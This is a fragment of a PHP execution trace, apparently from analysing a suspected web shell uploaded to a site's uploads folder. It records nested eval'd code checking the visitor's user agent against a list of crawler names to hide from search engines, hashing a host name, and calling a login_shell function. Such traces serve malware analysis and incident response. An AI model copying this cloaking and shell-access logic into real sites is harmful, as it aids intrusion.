'PycURL', 4 => 'facebookexternalhit', 5 => 'ia_archiver', 6 => 'crawler', 7 => 'Yandex', 8 => 'Rambler', 9 => 'Yahoo! Slurp', 10 => 'YahooSeeker', 11 => 'bingbot', 12 => 'curl'] 4 29 0 0.009276 1067160 implode 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 24 2 '|' [0 => 'Googlebot', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'PycURL', 4 => 'facebookexternalhit', 5 => 'ia_archiver', 6 => 'crawler', 7 => 'Yandex', 8 => 'Rambler', 9 => 'Yahoo! Slurp', 10 => 'YahooSeeker', 11 => 'bingbot', 12 => 'curl'] 4 29 1 0.009302 1067384 4 29 R 'Googlebot|Slurp|MSNBot|PycURL|facebookexternalhit|ia_archiver|crawler|Yandex|Rambler|Yahoo! Slurp|YahooSeeker|bingbot|curl' 4 30 0 0.009323 1067320 preg_match 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 24 2 '/Googlebot|Slurp|MSNBot|PycURL|facebookexternalhit|ia_archiver|crawler|Yandex|Rambler|Yahoo! Slurp|YahooSeeker|bingbot|curl/i' 'python-requests/2.25.1' 4 30 1 0.009409 1067384 4 30 R 0 4 31 0 0.009426 1067160 md5 0 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 92 1 'localhost' 4 31 1 0.009441 1067256 4 31 R '421aa90e079fa326b6494f812ad13e79' 4 32 0 0.009458 1067160 login_shell 1 /var/www/html/uploads/mkrs.php.suspected(6) : eval()'d code(1) : eval()'d code 96 0 0.009505 987808 TRACE END [2023-02-12 23:21:29.484988]